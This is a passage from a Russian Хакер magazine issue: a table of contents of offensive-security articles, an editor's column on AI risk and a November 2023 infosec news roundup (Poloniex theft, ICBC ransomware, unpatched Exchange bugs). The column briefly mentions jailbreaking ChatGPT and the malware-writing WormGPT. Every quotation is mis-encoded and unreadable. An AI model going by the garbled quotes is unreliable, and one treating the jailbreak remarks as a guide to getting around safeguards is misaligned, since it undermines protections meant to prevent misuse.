Вы находитесь на странице: 1из 34

№ 296

CONTENTS
ЧертGPT
Колонка главреда
MEGANews
Самые важные события в мире инфосека за ноябрь
Апгрейды для шелл-кода
Изучаем инструменты обхода антивирусов и EDR
Локальная картошка
Исследуем уязвимость в локальной аутентификации Windows
Абьюз сессий Windows по-новому
Получаем билеты TGT методом GIUDA
Злой отладчик
Изучаем новый способ обхода AMSI в Windows
Магия SSPI
Достаем учетные данные Windows, не трогая LSASS
Ethernet Abyss VIP
Пентестим Ethernet по всем правилам
Беззащитная защита
Изучаем уязвимость, дающую встроить бэкдор в FortiGate
Большая охота
Практикуемся в Threat Hunting
Tunnels Nightmare
Используем провайдерские протоколы для пивотинга
HTB Download
Перехватываем терминал суперпользователя при атаке на хост
HTB Topology
Эксплуатируем LaTeX-инъекцию для доступа к серверу
HTB Sandworm
Выходим из песочницы Firejail и повышаем привилегии в Linux
HTB Gofer
Эксплуатируем path hijacking в связке с use after free
Береги голову
Как хакнуть свой организм, чтобы жить лучше
Титры
Кто делает этот журнал
HEADER

Последний прорыв в области искусствен-


ного интеллекта можно сравнить с появ-
лением персональных компьютеров,
интернета или мобильных телефонов.
Но прошлые революционные технологии Андрей Письменный
Главный редактор
никто не думал ограничивать, тогда apismenny@gmail.com

как любые разговоры об ИИ сразу соп-


ровождаются сомнениями: не выйдет ли
вдруг беды?

Тревоги можно поделить на два типа. Первый связан с тем, что ученые
вот-вот изобретут AGI, или «сильный ИИ», то есть равный человеку, а значит,
и потенциально способный превзойти его в умственных задачах. Последс-
твия этого непредсказуемы. Второй тип волнений более насущный, он связан
с тем, что ИИ уже сейчас может научить людей плохому. Например,
что-нибудь взламывать.
Главными алармистами в теме сильного ИИ сейчас выступают Элиезер
Юдковский и его единомышленники с сайта LessWrong. Юдковский — автор
занятной идеи о том, что дай сильному ИИ задачу делать, например, скреп-
ки — и он может ненароком пустить на скрепки и нас со всей планетой вмес-
те. То, что между ChatGPT и воображаемым максимизатором скрепок есть
серьезная разница в возможностях, не мешает Юдковскому нагонять панику
уже сейчас.
Говорили, что именно к таким опасениям мог прислушиваться соос-
нователь и главный научный сотрудник OpenAI Илья Суцкевер. Именно он
стал катализатором в недавнем скандале, когда совет директоров OpenAI
ненадолго уволил гендиректора компании Сэма Альтмана. Тот следом чуть
не увел за собой всех сотрудников в Microsoft, где для них тут же широко рас-
пахнули двери.

Сэм Альтман и Илья Суцкевер

Известно, что за несколько дней до неожиданного увольнения Альтмана Илья


Суцкевер выражал сомнения в том, что компания работает над искусствен-
ным интеллектом «достаточно безопасно».
По сообщению Reuters со ссылкой на анонимные источники в компании,
причиной всей кутерьмы было недавнее изобретение версии GPT
под кодовым названием Q*. Имея достаточно вычислительных ресурсов, она
может решать математические задачи «на уровне младшеклассника» (сейчас
даже GPT-4 иногда путается в вопросах о том, сколько у кого яблок, не говоря
уже о чем-то более сложном). Вряд ли это заветный сильный ИИ, но очеред-
ной важный шажок на пути к нему.
Позже Суцкевер сказал, что «глубоко сожалеет о своем участии в действи-
ях совета директоров», а также подписался под требованием вернуть Альтма-
на. Требование подкреплялось угрозой уйти вслед за ним в Microsoft.
А еще Суцкевер незадолго до смуты выступил на TED и звучал скорее
оптимистично. Он, хоть и признал, что «на каждое положительное примене-
ние сильного ИИ появится по отрицательному», закончил на позитивной ноте:
наше понимание проблематики будет развиваться вместе с технологией. То
есть люди напрягутся и уж как-нибудь да научатся извлекать из ИИ больше
пользы, чем вреда.
Думаю, если у Суцкевера и были разногласия с Альтманом, то скорее
о том, как вести дела. Открывать или не открывать наработки, стремиться
к зарабатыванию денег или нет, превращать вещи вроде Q* в новый релиз
или обождать, взять время на их всесторонний анализ.
Однако промедление и утаивание в таких ситуациях тоже повод для кри-
тики. Почему сотрудники OpenAI, заявляя, что трудятся на благо всего
человечества, не открывают свои наработки? Подход цукерберговской Meta
AI (по умолчанию коммерческой) сейчас куда ближе к заявленным ценностям
нонпрофита OpenAI. Последнюю модель «Меты» Llama 2 можно пойти и ска-
чать, в отличие от GPT-3 или -4, которые доступны лишь через платный API.
Это подводит нас ко второй теме — разговору о возможности исполь-
зовать большие языковые модели для пакостничества и о необходимости
цензурировать их выхлоп.
За примерами злодейств далеко ходить не нужно. «Джейлбрейк», сво-
дящийся к очень настойчивому промт-инжинирингу, иногда позволяет
добиться ответов на скользкие темы даже от ChatGPT.
При желании нынешние языковые модели можно использовать и для
социальной инженерии, и даже для вирусописательства. Например, на-
шумевший недавно WormGPT, по словам его создателя, «позволяет легко
написать вредоносный скрипт на Rust, и тот в 99% случаев пройдет проверку
большинством антивирусов».

WormGPT основан на опенсорсной языковой модели GPT-J 6B, созданной


в EleutherAI в качестве конкурента GPT-3. Тренировать новые языковые
модели сейчас тяжело: нужны хорошо отобранные и размеченные данные
и масса вычислительных ресурсов. Однако, как мы видим, не невозможно,
и дальше будет только легче.
А еще проще этим заниматься, когда ты миллионер с и без того противо-
речивой репутацией. Как например, Илон Маск, анонсировавший запуск сво-
ей новой компании xAI и языковой модели Grok. Маск, ныне склоняющийся
к американским консерваторам, озабочен левацкой цензурой и излишней
«политкорректностью», которыми OpenAI и Meta наделяют свои модели.
Grok, в отличие от своих более приличных сородичей, может хамить
и материться, а также рассказывать, как изготовить кокаин (хоть и не очень
подробно). О том, может ли Grok писать малварь (и насколько качественно),
Маск не обмолвился. Проверить пока тоже нельзя — приглашения приходят
только избранным.

Grok сравнивает масштабирование ИИ с оргией

Маск считает, что цензурировать вывод ИИ неэтично, глупо и потенциально


опасно. Его оппоненты считают, что íå цензурировать вывод ИИ — неэтично,
глупо и потенциально опасно. Надо сказать, все это мало отличается
от более широкой дискуссии о том, нужно ли ограничивать доступ к информа-
ции, и если да, то каковы критерии. ИИ здесь лишь еще один повод поднять
все те же извечные вопросы.
Для нас тем временем куда продуктивнее не размышлять о том, нужно
запретить ИИ или нет, а готовиться жить в мире, где эта технология будет
существовать во всех возможных видах — легально или подпольно. Обратно
в бутылку этого джинна уже не вернуть.
Мария «Mifrill» Нефёдова
nefedova@glc.ru

В этом месяце: у Poloniex украли 130 миллионов долларов,


Сэма Бэнкмана-Фрида признали виновным по всем пунктам
обвинения, разработчики Tor Project удалили из сети мно-
жество узлов, шифровальщик атаковал крупнейший банк
Китая, вымогатели пишут жалобы властям, Роскомнадзор
будет блокировать протокол Shadowsocks и другие интерес-
ные события ноября.

ОГРАБЛЕНИЕ
POLONIEX

Неизвестные хакеры похитили у криптовалютной биржи Poloniex


более 100 миллионов долларов США в Ethereum, Bitcoin и Tron. Руководство
компании предложило злоумышленникам вернуть украденные средства,
оставив себе 5% в качестве награды.
Атака произошла в середине ноября, и представители платформы заяви-
ли, что планируют полностью возместить убытки всем, кто пострадал из-за
случившегося. Основатель Tron Джастин Сан, которому в настоящее время
принадлежит Poloniex, подчеркнул, что платформа по-прежнему «находится
в хорошем финансовом положении и полностью возместит пострадавшим
все средства».
Точная сумма украденных средств неизвестна и оценивается исследова-
телями по-разному. К примеру, специалисты PeckShield заявили, что
у Poloniex украли около 125 миллионов долларов, включая ETH на 56 мил-
лионов долларов, TRX на 48 миллионов долларов и BTC на 18 миллионов дол-
ларов. В свою очередь, аналитики SlowMist подсчитали, что общий ущерб
превышает 130 миллионов долларов, так как во время инцидента были
похищены и менее ценные коины, общая стоимость которых составляет мил-
лионы долларов.
Вскоре после атаки представители Poloniex опубликовали официальное
обращение к хакерам, в котором предложили им награду в размере 5%
от украденных активов в обмен на возврат всех средств.

« «Ìû ïðîñèì âàñ îòâåòèòü íà ýòî ïðåäëîæåíèå â òå÷åíèå áëèæàéøèõ


ñåìè äíåé, ïðåæäå ÷åì ìû ïðèâëå÷åì ïðàâîîõðàíèòåëüíûå îðãàíû, —
ïèñàëè ïðåäñòàâèòåëè ïëàòôîðìû. — Êðîìå òîãî, ìû èçó÷àåì âîç-
ìîæíîñòè ñîòðóäíè÷åñòâà ñ äðóãèìè ïàðòíåðàìè äëÿ îáëåã÷åíèÿ âîç-
âðàòà ñðåäñòâ».

Похоже, эта тактика не сработала, так как позже на адреса, связанные с этим
»
взломом, было отправлено новое сообщение. Кошельки Джастина Сана ини-
циировали шестнадцать транзакций, каждая стоимостью 0,10 доллара США
в Ethereum, содержащих одно и то же послание на нескольких языках.

В сообщении компания заявляет, что установила личность хакера, но все


еще дает ему возможность вернуть украденные средства. Если злоумыш-
ленник не сделает этого, правоохранительные органы Китая, России и США,
уже вовлеченные в расследование, перейдут к активным действиям.
Также биржа подчеркнула, что похищенные активы в любом случае прис-
тально отслеживаются и использовать их вряд ли получится. При этом ком-
пания по-прежнему готова предоставить хакеру «white hat награду» в раз-
мере 10 миллионов долларов США, если он вернет украденное.

ОМОГЛИФЫ ИСПОЛЬЗУЮТСЯ В 11 РАЗ ЧАЩЕ


Аналитики компании FAССT зафиксировали резкий рост количества попыток обойти
антиспам-решения с помощью омоглифов — графически одинаковых или похожих друг на друга
символов во вредоносных рассылках.

В третьем квартале 2023 года количество подобных писем в 11 раз превысило показатели ана-
логичного периода прошлого года. Самыми популярными подменными буквами у киберпрес-
тупников стали Е, О, С, А.

СОФТ ДЛЯ ОБХОДА


БЛОКИРОВОК
ИСЧЕЗАЕТ С GITHUB

Более 20 инструментов, предназначенных для обхода «Великого китайского


файрвола» и других блокировок, были удалены с GitHub в этом месяце. Мно-
гие полагают, что китайскому правительству удалось деанонимизировать
разработчиков этих утилит и оказать на них давление, добившись удаления.
Все инструменты пропали из сети 2 и 3 ноября, что навело экспертов
на мысли о некой координации со стороны их разработчиков или властей.
Одним из первых с GitHub исчез популярный прокси-инструмент Clash For
Windows, который помогал пользователям обходить брандмауэры и китай-
скую систему блокировок. При этом репозиторий был основным способом
загрузки Clash для пользователей и основным каналом для обновлений
со стороны разработчика.
Подобные инструменты выступают в роли шлюза между устройством поль-
зователя и интернетом, обеспечивая приватный доступ к сети за счет мас-
кировки IP-адреса пользователя. В последние годы они стали популярной
альтернативой VPN в Китае, так как еще в 2017 году правительство страны
стало активно бороться с использованием VPN.
Фактически теперь VPN в Китае легальны лишь в том случае, если соот-
ветствуют определенным правилам обработки данных, что значительно пов-
лияло на их распространение и использование, а некоторые крупные плат-
формы (например, Apple) и вовсе закрыли доступ к VPN в стране.
Впрочем, прокси-серверы все еще менее популярны, чем VPN, число
пользователей которых в Китае оценивалось примерно в 293 миллиона
человек по состоянию на 2021 год.
После удаления репозитория создатель Clash, известный под ником
Fndroid, написал в X (бывший Twitter), что разработка утилиты прекращена,
не объяснив, почему принял такое решение.

« «Ïðåêðàòèë îáíîâëåíèÿ, äî ñêîðîé âñòðå÷è. Òåõíîëîãèè íå áûâàþò


õîðîøèìè èëè ïëîõèìè, íî ëþäè áûâàþò. Ïðèøëî âðåìÿ îáðàòèòüñÿ
ê ñâåòó è äâèãàòüñÿ äàëüøå», — íàïèñàë Fndroid.
»
Вскоре после этого сопутствующие инструменты из экосистемы Clash, под-
держиваемые другими разработчиками на GitHub (например, Clash Verge,
Clash for Android, ClashX), и другие прокси-инструменты тоже стали удаляться
или архивироваться без объяснения причин.
При этом просмотр официального списка запросов на удаление на GitHub
не дал никакого результата, то есть официальных запросов на удаление этих
инструментов от китайских властей не поступало.
Неожиданное исчезновение Clash for Windows из сети породило множес-
тво слухов о том, что китайское правительство каким-то образом вычислило
создателя инструмента и оказало на него давление.
К тому же другой разработчик прокси, известный под ником EAimTY, тоже
удалил свой репозиторий TUIC и опубликовал сообщение в блоге, где намек-
нул, что к происходящему имеют отношение власти.
Несмотря на то что многие инструменты больше недоступны для установ-
ки, некоторые из них, включая Clash, пока еще работают в системах поль-
зователей, хотя и перестали получать обновления.
Интересно, что ранее в этом месяце Китай начал новый виток борьбы
с анонимностью в интернете.
Так, китайское правительство постановило, что любой онлайн-аккаунт
в социальных сетях, имеющий больше 500 тысяч подписчиков, должен содер-
жать настоящее имя владельца.

Разработчики Google обновили статистику текущей распространенности версий Android. Ока-


залось, всего за год с небольшим Android 13 стала самой распространенной версией ОС
и теперь занимает долю рынка в 22,4%.

При этом на втором месте расположилась не Android 12, как можно было бы подумать,
а Android 11, которая используется на 21,6% активных устройств и опережает Android 12,
на счету которой 15,8% девайсов.

Судя по всему, успех Android 13 связан с выпуском большего количества устройств


под управлением этой версии ОС, а также с обновлениями, вышедшими для многих бюджетных
Android-смартфонов.

ИЗ TOR УДАЛИЛИ
РЯД УЗЛОВ

После того как из сети Tor удалили множество узлов, команда Tor Project объ-
яснила свое решение тем, что узлы представляли угрозу для безопасности
всех пользователей. Оказалось, операторы некоторых ретрансляторов учас-
твовали в «высокорискованной криптовалютной схеме, обещающей денеж-
ную выгоду» и не получали на это одобрение со стороны Tor Project.
Ретрансляторы в сети Tor представляют собой узлы маршрутизации,
которые помогают анонимизировать трафик в сети Tor, принимая и передавая
зашифрованные данные следующему узлу. В основном ими управляют волон-
теры и энтузиасты, неравнодушные к вопросам конфиденциальности,
безопасности, анонимности и свободы информации в интернете.
Удаление множества узлов из сети вызвало в сообществе жаркие дис-
куссии о правилах использования ретрансляторов, а также о том, что явля-
ется нарушением, а что нет. Поэтому разработчики решили объяснить свои
действия.
Как сообщили в блоге представители Tor Project, недавно выяснилось, что
некоторые операторы ретрансляторов были связаны с некой высокорис-
кованной криптовалютной схемой. А использование ретрансляторов
для получения прибыли противоречит добровольческим принципам волон-
теров, которые борются с цензурой и слежкой в сети.
К тому же, если коммерческая составляющая обретет серьезный масштаб
и поглотит значительную часть ретрансляторов в сети Tor, власть из рук сооб-
щества перейдет в руки сомнительных лиц, а безопасность всей сети будет
подорвана агрессивной централизацией.

« «Ìû ñ÷èòàåì òàêèå ðåòðàíñëÿòîðû âðåäíûìè äëÿ ñåòè Tor ïî ðÿäó


ïðè÷èí, â òîì ÷èñëå ïîòîìó, ÷òî íåêîòîðûå èç íèõ íå ñîîòâåòñòâóþò
íàøèì òðåáîâàíèÿì, à òàêæå ïîòîìó, ÷òî ïîäîáíûå ôèíàíñîâûå ñõå-
ìû ïðåäñòàâëÿþò çíà÷èòåëüíóþ óãðîçó äëÿ öåëîñòíîñòè ñåòè è ðåïóòà-
öèè íàøåãî ïðîåêòà. Âåäü îíè ìîãóò ïðèâëå÷ü çëîóìûøëåííèêîâ, ïîä-
âåðãíóòü ïîëüçîâàòåëåé ðèñêó èëè íàðóøèòü äîáðîâîëü÷åñêèé äóõ,
ïîääåðæèâàþùèé ñîîáùåñòâî Tor», — ïèøóò ðàçðàáîò÷èêè.

Также отмечалось, что многие из операторов отключенных узлов подвергали


»
себя риску, даже не зная о проекте, в который вносили свой вклад. Другие
запускали ретрансляторы в небезопасных регионах и регионах с повышен-
ным риском.
Никакой конкретики о потенциально опасной коммерческой схеме раз-
работчики Tor не привели, однако в комментариях к посту можно найти
информацию о том, что заблокированные узлы были связаны с проектом ATor
(AirTor) и их таких насчитывалось около тысячи. Однако эта информация
не подтверждена официально.
Создатели ATor утверждают, что цель проекта — улучшить сеть Tor
с помощью вознаграждений, которые выплачивают в криптовалюте ATor опе-
раторам ретрансляторов. После публикации заявления разработчиков Tor
стоимость ATor резко упала ниже одного доллара США.

БИЛЛ ГЕЙТС О ВЛИЯНИИ ИИ

Билл Гейтс принял участие в подкасте Тревора Ноа «What Now?», и во время беседы Ноа поин-
тересовался у создателя Microsoft, что тот думает о потенциальной угрозе, которую ИИ пред-
ставляет для рабочих мест. Гейтс ответил, что благодаря ИИ может наступить время, когда
людям «не придется так много работать».

→ «Если в конце концов мы получим общество, в котором придется работать


только три дня в неделю, то это, наверное, нормально», — заявил Гейтс.

Ранее миллиардер уже посвятил возможным проблемам, связанным с ИИ, большую статью
в своем блоге. Там он признавал опасность его неправильного использования, однако тоже
сохранял оптимизм.

→ «Не думаю, что влияние ИИ окажется столь же драматичным, как промыш-


ленная революция, но оно, безусловно, будет таким же значительным, как появ-
ление ПК. Текстовые процессоры не избавили нас от офисной работы, но изме-
нили ее навсегда. Работодателям и сотрудникам пришлось адаптироваться,
и они это сделали», — писал Гейтс.

БАГИ В EXCHANGE
ОСТАЛИСЬ
БЕЗ ПАТЧЕЙ

В Trend Micro Zero Day Initiative (ZDI) предупредили, что Microsoft Exchange
подвержен сразу четырем уязвимостям нулевого дня, которые хакеры могут
использовать для выполнения произвольного кода или раскрытия конфиден-
циальной информации. При этом инженеры Microsoft сочли, что уязвимости
недостаточно серьезны, и отложили патчи для них на потом.
Проблемы были выявлены специалистами ZDI еще в сентябре 2023 года,
и, хотя в Microsoft признали их наличие, в компании не посчитали их достаточ-
но серьезными. Эксперты ZDI не согласились с этой оценкой и решили обна-
родовать информацию о багах, чтобы предупредить администраторов
Exchange о возможных рисках.
ZDI-23-1578: RCE-уязвимость в классе ChainedSerializationBinder, связан-
ная с тем, что пользовательские данные не проверяются надлежащим обра-
зом, в результате чего злоумышленники могут десериализовать недоверен-
ные данные. Успешная эксплуатация позволяет выполнить произвольный код
с правами SYSTEM.
ZDI-23-1579: уязвимость в методе DownloadDataFromUri, связанная
с недостаточной проверкой URI перед доступом к ресурсу. Злоумышленники
могут использовать ее для получения доступа к конфиденциальной информа-
ции с серверов Exchange.
ZDI-23-1580: уязвимость в методе DownloadDataFromOfficeMarketPlace
также связана с неправильной проверкой URI и может привести к несанкци-
онированному раскрытию информации.
ZDI-23-1581: баг, присутствующий в методе CreateAttachmentFromUri,
похож на предыдущие, поскольку некорректно проверяет URI, что тоже чре-
вато раскрытием конфиденциальных данных.
Для эксплуатации этих багов требуется аутентификация, что снижает их
серьезность (от 7,1 до 7,5 балла по шкале CVSS). Вероятно, именно поэтому
Microsoft решила не уделять приоритетное внимание исправлению этих оши-
бок.
Тем не менее в ZDI отмечают, что не стоит считать перечисленные выше
проблемы малозначимыми, особенно ZDI-23-1578 (RCE), которая может при-
вести к полной компрометации системы.
Исследователи предложили единственную стратегию защиты — огра-
ничить взаимодействие с приложениями Exchange. Однако это может ока-
заться неприемлемым для многих предприятий и организаций, исполь-
зующих этот продукт.
Представители Microsoft прокомментировали ситуацию следующим обра-
зом:

« «Ìû âûñîêî öåíèì ðàáîòó òåõ, êòî ñîîáùèë îá ýòèõ ïðîáëåìàõ â ðàì-
êàõ ñêîîðäèíèðîâàííîãî ðàñêðûòèÿ èíôîðìàöèè îá óÿçâèìîñòÿõ,
è ãîòîâû ïðèíÿòü íåîáõîäèìûå ìåðû äëÿ çàùèòû ïîëüçîâàòåëåé.
Ìû ðàññìîòðåëè ñîîáùåíèÿ èññëåäîâàòåëåé è ïðèøëè ê âûâîäó,
÷òî ýòè ïðîáëåìû ëèáî óæå óñòðàíåíû, ëèáî íå îòâå÷àþò òðåáîâàíèÿì
äëÿ íåìåäëåííîãî ðåàãèðîâàíèÿ, â ñîîòâåòñòâèè ñ íàøèìè ïðàâèëàìè
êëàññèôèêàöèè ñåðüåçíîñòè (óÿçâèìîñòåé). Ìû ñîîòâåòñòâóþùèì
îáðàçîì ðàññìîòðèì âîçìîæíîñòü èõ óñòðàíåíèÿ â áóäóùèõ âåðñèÿõ
ïðîäóêòîâ è îáíîâëåíèÿõ».

Кроме того, Microsoft предоставила дополнительную информацию по каж-


»
дому из обнаруженных специалистами багов:
• ZDI-23-1578 — пользователи, установившие августовские обновления
безопасности, уже защищены;
• ZDI-23-1581 — описанная техника атак требует от злоумышленника пред-
варительного доступа к учетным данным электронной почты, и не было
представлено никаких доказательств того, что проблема может исполь-
зоваться для повышения привилегий;
• ZDI-23-1579 — описанная методика атак требует от злоумышленника
предварительного доступа к учетным данным электронной почты;
• ZDI-23-1580 — описанная методика атак требует от злоумышленника
предварительного доступа к учетным данным электронной почты, и не
было представлено никаких доказательств того, что проблема может
использоваться для получения доступа к конфиденциальной информации
о клиенте.

БОТЫ В ИНТЕРНЕТ-ТРАФИКЕ
Специалисты Arkose Labs проанализировали активность миллиардов ботов за период с января
по сентябрь 2023 года. Некоторые из ботов выполняют полезные функции, например индекси-
руют интернет, но большинство созданы для вредоносных целей.

По оценкам исследователей, 73% всего интернет-трафика составляют вредоносные боты.

Основные категории атак ботов: создание фальшивых учетных записей, захват учет-
ных записей, скраппинг, управление учетными записями и злоупотребление раз-
личными продуктами.

Области, в которых наблюдается наибольший рост атак, — это мошенничество с использовани-


ем SMS-платежей (рост на 2141%), управление учетными записями (рост на 160%) и создание
поддельных учетных записей (рост на 23%).

В пятерку ведущих отраслей, на которые направлены атаки ботов, входят технологическая (на
ботов приходится 76% трафика), игровая (29% трафика), социальные сети (46% трафика),
электронная коммерция (65% трафика) и финансовые услуги (45% трафика).

Продолжение статьи →
← Начало статьи

БАНК ICBC СТАЛ


ЖЕРТВОЙ
ШИФРОВАЛЬЩИКА

Промышленный и коммерческий банк Китая (ICBC), крупнейший коммерчес-


кий банк Китая и один из крупнейших банков мира, столкнулся с вымогатель-
ской атакой. Инцидент повлиял на работу рынка казначейских облигаций
США и вызвал проблемы с клирингом. По данным СМИ, атака началась
еще вечером 8 ноября 2023 года.
Первым о кибератаке сообщило издание Financial Times. Об инциденте
стало известно благодаря уведомлению, которое Ассоциация сектора цен-
ных бумаг и финансовых рынков (SIFMA) разослала своим членам после того,
как возникли проблемы с проведением некоторых сделок на рынке казначей-
ских обязательств США.
Собственные источники издания утверждают, что за атакой на банк стояла
известная вымогательская хакгруппа LockBit.
Вскоре после атаки банк уведомил нескольких клиентов о том, что из-за
проблем с кибербезопасностью будет вынужден перенаправить некоторые
сделки.

« «Ìû çíàåì îá èíöèäåíòå ñ êèáåðáåçîïàñíîñòüþ è íàõîäèìñÿ â ïîñ-


òîÿííîì êîíòàêòå ñ êëþ÷åâûìè ó÷àñòíèêàìè ôèíàíñîâîãî ñåêòîðà,
à òàêæå ñ ôåäåðàëüíûìè ðåãóëèðóþùèìè îðãàíàìè. Ìû ïðîäîëæàåì
ñëåäèòü çà ñèòóàöèåé», — çàÿâèë æóðíàëèñòàì ïðåäñòàâèòåëü Ìèíèñ-
òåðñòâà ôèíàíñîâ ÑØÀ.

В свою очередь, исследователи из vx-underground процитировали экстрен-


»
ное уведомление, разосланное трейдерам:

« «Â íàñòîÿùåå âðåìÿ ICBC íå ìîæåò ïîäêëþ÷èòüñÿ ê DTCC/NSCC.


Ïðîáëåìà çàòðàãèâàåò âñåõ êëèåíòîâ ICBC ïî êëèðèíãó, âêëþ÷àÿ
(censored). Â ñâÿçè ñ ýòèì (censored) âðåìåííî ïðèîñòàíàâëèâàåò âñå
âõîäÿùèå FIX-ñîåäèíåíèÿ è â äàííûé ìîìåíò íå ïðèíèìàåò çàÿâêè.
Ìû íàõîäèìñÿ â òåñíîì êîíòàêòå ñ ICBC è ñîîáùèì, êàê òîëüêî ïðîá-
ëåìà áóäåò ðåøåíà».

Хотя сам Промышленный и коммерческий банк Китая не выступил с офи-


»
циальным заявлением, многочисленные источники сообщили, что произошла
именно атака шифровальщика.
К примеру, известный ИБ-специалист Кевин Бомонт (Kevin Beaumont)
писал, что принадлежащий банку сервер Citrix, в последний раз замеченный
в сети незадолго до атаки, не был защищен от активно эксплуатируемой
хакерами уязвимости Citrix Bleed (CVE-2023-4966), которая затрагивает
NetScaler ADC и NetScaler Gateway. Теперь этот сервер уже недоступен.

« «Ýòà óÿçâèìîñòü ïîçâîëÿåò ïîëíîñòüþ îáîéòè âñå ôîðìû àóòåí-


òèôèêàöèè è èñïîëüçóåòñÿ âûìîãàòåëüñêèìè ãðóïïàìè. Ýòî òàê æå
ïðîñòî, êàê íàâåñòè êóðñîð è ïðîêëèêàòü ñåáå äîðîãó âíóòðü îðãàíèçà-
öèè. Çëîóìûøëåííèêè ïîëó÷àþò ïîëíîñòüþ èíòåðàêòèâíûé Remote
Desktop PC íà äðóãîì êîíöå», — îáúÿñíÿåò Áîìîíò.
»
МОШЕННИЧЕСКИХ САЙТОВ НА РОССИЙСКОМ ХОСТИНГЕ
СТАЛО Â 2 ÐÀÇÀ МЕНЬШЕ
По данным FAССT, за первые три квартала 2023 года было обнаружено 10 000 фишинговых
сайтов, нацеленных на пользователей из России. Хотя общее количество таких ресурсов
выросло на 5%, специалисты заметили массовый исход фишинговых сайтов от российских
хостинг-провайдеров на серверы в Нидерландах и США.

Так, общее количество фишинговых сайтов, для размещения которых использовались россий-
ские серверы, сократилось на 53%, а доля мошеннических ресурсов, которые размещались
у российских хостеров, упала с 73 до 41%. Эксперты полагают, что это связано с успехами
детектирования и блокировок мошеннических сайтов компетентными организациями и регуля-
торами.

ОПЕРАТОРЫ
BLACKCAT
ЖАЛУЮТСЯ ВЛАСТЯМ

Вымогатели из группировки BlackCat (ALPHV) выводят шантаж на новый уро-


вень: хакеры подали жалобу в Комиссию по ценным бумагам и биржам США
(SEC), сообщив властям, что одна из их жертв не соблюдает правило четырех
дней и не раскрыла информацию о кибератаке.
Хакеры заявили, что 7 ноября 2023 года они проникли в сеть разрабаты-
вающей ПО компании MeridianLink и похитили данные, не зашифровав сис-
темы.
По словам представителей группировки, возможно, MeridianLink пыталась
связаться с ними, но хакеры не получили сообщений от компании и не смогли
договориться о выплате выкупа в обмен на непубликацию украденных данных.
Отсутствие реакции со стороны компании побудило злоумышленников
оказать еще большее давление на жертву, и они направили жалобу в Комис-
сию по ценным бумагам и биржам США, уведомив власти о том, что
MeridianLink не раскрыла информацию об инциденте, который затронул «дан-
ные клиентов и оперативную информацию».
Чтобы подкрепить свои заявления фактами, вымогатели опубликовали
на своем сайте скриншот формы, которую они заполнили на сайте SEC. Они
сообщили SEC, что MeridianLink подверглась «серьезной атаке», но не рас-
крыла информацию об этом инциденте, как того требует форма 8-K в соот-
ветствии с параграфом 1.05.
Также операторы BlackCat опубликовали на своем сайте и автоматический
ответ, полученный от SEC, информирующий о том, что их заявление принято.

Дело в том, что после многочисленных атак на американские организации


SEC приняла новые правила, согласно которым компании, чьи акции торгуют-
ся на бирже, обязаны уведомлять власти о киберинцидентах, оказывающих
существенное влияние на их работу (то есть могущих повлиять на инвести-
ционные решения). Такое уведомление в SEC компании должны подавать
в течение четырех рабочих дней с момента обнаружения инцидента и приз-
нания его существенным. Однако стоит отметить, что новые правила всту-
пают в силу только 15 декабря 2023 года.
В беседе со СМИ представители MeridianLink подтвердили факт атаки
и сообщили, что после обнаружения инцидента компания незамедлительно
приняла меры для локализации угрозы и привлекла к расследованию группу
сторонних ИБ-экспертов.
Компания добавила, что в настоящее время продолжает расследование,
которое должно показать, затронула ли атака личную информацию поль-
зователей, и в случае необходимости уведомит об этом пострадавшие сто-
роны.

« «Â ðåçóëüòàòå ïðîâåäåííîãî ðàññëåäîâàíèÿ ìû íå îáíàðóæèëè


íèêàêèõ äîêàçàòåëüñòâ íåñàíêöèîíèðîâàííîãî äîñòóïà ê íàøèì ïðî-
èçâîäñòâåííûì ïëàòôîðìàì, è ýòîò èíöèäåíò ïðèâåë ëèøü ê íåç-
íà÷èòåëüíûì ñáîÿì â [íàøåé] ðàáîòå», — ïîä÷åðêíóëè â MeridianLink.
»
АТАК НА РОССИЙСКИЕ КОМПАНИИ СТАЛО НА 16%
БОЛЬШЕ
По данным ГК «Солар», российские компании в последние месяцы столкнулись с новой волной
точечных и продвинутых атак. Так, в третьем квартале рост числа подтвержденных инцидентов
составил 16%, и суммарно за третий квартал эксперты зафиксировали 10 200 подтвержден-
ных атак. Предпосылок для снижения этого тренда в ближайшее время исследователи не видят.

Количество подтвержденных ИБ-инцидентов

Малварь стала самым популярным инструментом у хакеров — доля инцидентов с использовани-


ем вредоносного софта выросла с 71 до 83%. Основным каналом доставки по-прежнему оста-
ются фишинговые письма с фокусом на персонал компаний, они занимают 2/3 от других
атак с применением вредоносов.

РКН ЗАБЛОКИРУЕТ
SHADOWSOCKS

По данным СМИ, Роскомнадзор (РКН) впервые включил протокол


Shadowsocks в список VPN-сервисов, подпадающих под блокировку.
Для блокировки этого протокола ведомство будет использовать технические
средства противодействия угрозам (ТСПУ) на трансграничных соединениях.
Как пишет издание «Коммерсант», созданный в Китае для обхода цензуры
протокол Shadowsocks чаще всего используют простые граждане для частных
VPN и ИБ-специалисты. Так как он маскирует свой трафик под другие ресур-
сы, блокировка может нарушить работу многих легальных сервисов.
Ранее в сети появилось письмо Минтранса, направленное
в адрес 381 организации транспортной отрасли от 10 ноября 2023 года.
Из документа следует, что Роскомнадзор может блокировать 49 VPN-сер-
висов и протоколов через централизованное управление сетью общего поль-
зования (с помощью ТСПУ, которые установлены на сетях операторов связи
по закону «о суверенном рунете»). Для обеспечения работы информсистем,
которые могут использовать VPN для защищенных соединений и удаленного
доступа, организации должны предоставить информацию об используемых
сервисах и протоколах до 15 ноября 2023 года.
В Роскомнадзоре отказались от комментариев относительно этого
документа, а в Минтрансе не ответили на запрос журналистов.
Как сообщили изданию эксперты, чтобы избежать проблем с блокиров-
ками корпоративных сетей, использующих VPN, РКН запрашивает у разных
отраслей информацию о том, какими сервисами они пользуются, а затем
«создаются так называемые белые списки».

Как видно из таблицы выше, в список ведомства вошел не только протокол


Shadowsocks, но даже сервис ItHelper российского разработчика «Софт
Программ», предназначенный для ускорения работы устройств со встро-
енным VPN, подписка на который свободно продается в «М.Видео-Эль-
дорадо».
Массовые проблемы с работой VPN-сервисов в России начались еще
летом 2022 года. Тогда Роскомнадзор стал экспериментировать с блокиров-
кой конкретных протоколов (отмечались проблемы с L2TP, IKEv2 и IPsec), а в
августе текущего года пользователи стали сообщать о проблемах в работе
OpenVPN и WireGuard.
Как объяснил собеседник «Коммерсанта», сначала Роскомнадзор бло-
кировал VPN по IP-адресам, однако они могут меняться, и приходится
регулярно пополнять реестр. И если OpenVPN и WireGuard достаточно рас-
пространенные протоколы, которые часто используются для построения
защищенных соединений компании, от Shadowsocks они отличаются тем, что
не маскируют трафик при соединении, «поскольку исходно они не соз-
давались для обхода цензуры и блокировок». Поэтому их, в отличие
